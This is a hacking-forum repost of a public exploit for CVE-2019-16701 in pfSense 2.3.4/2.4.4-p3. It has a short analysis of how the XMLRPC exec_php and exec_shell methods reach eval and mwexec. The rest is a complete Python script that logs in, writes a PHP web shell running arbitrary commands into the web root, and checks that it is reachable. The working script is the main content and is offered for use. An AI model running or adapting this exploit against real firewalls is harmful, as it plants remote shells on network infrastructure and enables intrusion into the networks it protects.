Hoşgeldin Misafir

Pfsense 2.3.4 / 2.4.4-p3 - Remote Code Injection Exploit #RCE

NasyoneL

NasyoneL

Karanlık Özgürlüktür
25 Ağu 2017
25,060 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Kod:
# Exploit Title: Pfsense 2.3.4 / 2.4.4-p3 - Remote Code Injection
# Author: Nassim Asrir
# Vendor Homepage: https://www.pfsense.org/
# Contact: [email protected] | https://www.linkedin.com/in/nassim-asrir-b73a57122/
# CVE: CVE-2019-16701
# Tested On: Windows 10(64bit) | Pfsense 2.3.4 / 2.4.4-p3
######################################################################################################
 
1 : About Pfsense:
==================
 
pfSense is a free and open source firewall and router that also features unified threat management, load balancing, multi WAN, and more.
 
2 : Technical Analysis:
=======================
 
The pfsense allow users (uid=0) to make remote procedure calls over HTTP (XMLRPC) and the XMLRPC contain some critical methods which allow any authenticated user/hacker to execute OS commands.
 
XMLRPC methods:
 
pfsense.exec_shell
pfsense.exec_php
pfsense.filter_configure
pfsense.interfaces_carp_configure
pfsense.backup_config_section
pfsense.restore_config_section
pfsense.merge_config_section
pfsense.merge_installedpackages_section_xmlrpc
pfsense.host_firmware_version
pfsense.reboot
pfsense.get_notices
system.listMethods
system.methodHelp
system.methodSignature
 
As we see in the output we have two interesting methods: pfsense.exec_shell and pfsense.exec_php.
 
2 : Static Analysis:
====================
 
In the static analysis we will analysis the xmlrpc.php file. 
 
Line (73 - 82)
 
This code check if the user have enough privileges.
 
$user_entry = getUserEntry($username);
                /*
                 * admin (uid = 0) is allowed 
                 * or regular user with necessary privilege
                 */
                if (isset($user_entry['uid']) && $user_entry['uid'] != '0' &&
                    !userHasPrivilege($user_entry, 'system-xmlrpc-ha-sync')) {
                        log_auth("webConfigurator authentication error for '" .
                            $username . "' from " . $this->remote_addr .
                            " not enough privileges");
                                 
 
Line (137 - 146)
 
This part of code is the interest for us.
 
As we can see, first we have a check for auth then we have the dangerous function (eval) which take as parametere ($code).
 
        public function exec_php($code) {
                $this->auth();
 
                eval($code);
                if ($toreturn) {
                        return $toreturn;
                }
 
                return true;
        }
         
Line (155 - 160)
 
In this part of code also we have a check for auth then the execution for ($code)
         
        public function exec_shell($code) {
                $this->auth();
 
                mwexec($code);
                return true;
        }
         
3 - Exploit:
============
 
#!/usr/bin/env python
 
import argparse
import requests
import urllib2
import time
import sys
import string
import random
 
parser = argparse.ArgumentParser()
parser.add_argument("--rhost", help = "Target Uri https://127.0.0.1")
parser.add_argument("--password", help = "pfsense Password")
args = parser.parse_args()
 
rhost = args.rhost
password = args.password
print ""
 
print "[+] CVE-2019-16701 - Pfsense - Remote Code Injection"
print ""
print "[+] Author: Nassim Asrir"
print ""
 
command = "<?xml version='1.0' encoding='iso-8859-1'?>"
command += "<methodCall>"
command += "<methodName>pfsense.host_firmware_version</methodName>"
command += "<params>"
command += "<param><value><string>"+password+"</string></value></param>"
command += "</params>"
command += "</methodCall>"
 
stage1 = rhost + "/xmlrpc.php"
 
page = urllib2.urlopen(stage1, data=command).read()
 
print "[+] Checking Login Creds"
 
 
if "Authentication failed" in page:
 
        print "[-] Wrong password :("
        sys.exit(0)
else:
 
        random = ''.join([random.choice(string.ascii_letters + string.digits) for n in xrange(32)])
 
        print "[+] logged in successfully :)"
        print "[+] Generating random file "+random+".php"
        print "[+] Sending the exploit ....."
         
 
        command = "<?xml version='1.0' encoding='iso-8859-1'?>"
        command += "<methodCall>"
        command += "<methodName>pfsense.exec_php</methodName>"
        command += "<params>"
        command += "<param><value><string>"+password+"</string></value></param>"
        command += "<param><value><string>exec('echo \\'<pre> <?php $res = system($_GET[\"cmd\"]); echo $res ?> </pre>\\' > /usr/local/www/"+random+".php');</string></value></param>"
        command += "</params>"
        command += "</methodCall>"
 
stage1 = rhost + "/xmlrpc.php"
 
page = urllib2.urlopen(stage1, data=command).read()
 
final = rhost+"/"+str(random)+".php"
 
check = urllib2.urlopen(final)
 
print "[+] Checking ....."
 
if check.getcode() == 200:
 
        print "[+] Yeah! You got your shell: " + final+"?cmd=id"
else:
 
        print "[+] Sorry :( Shell not found check the path"
 
#  0day.today [2019-09-30]  #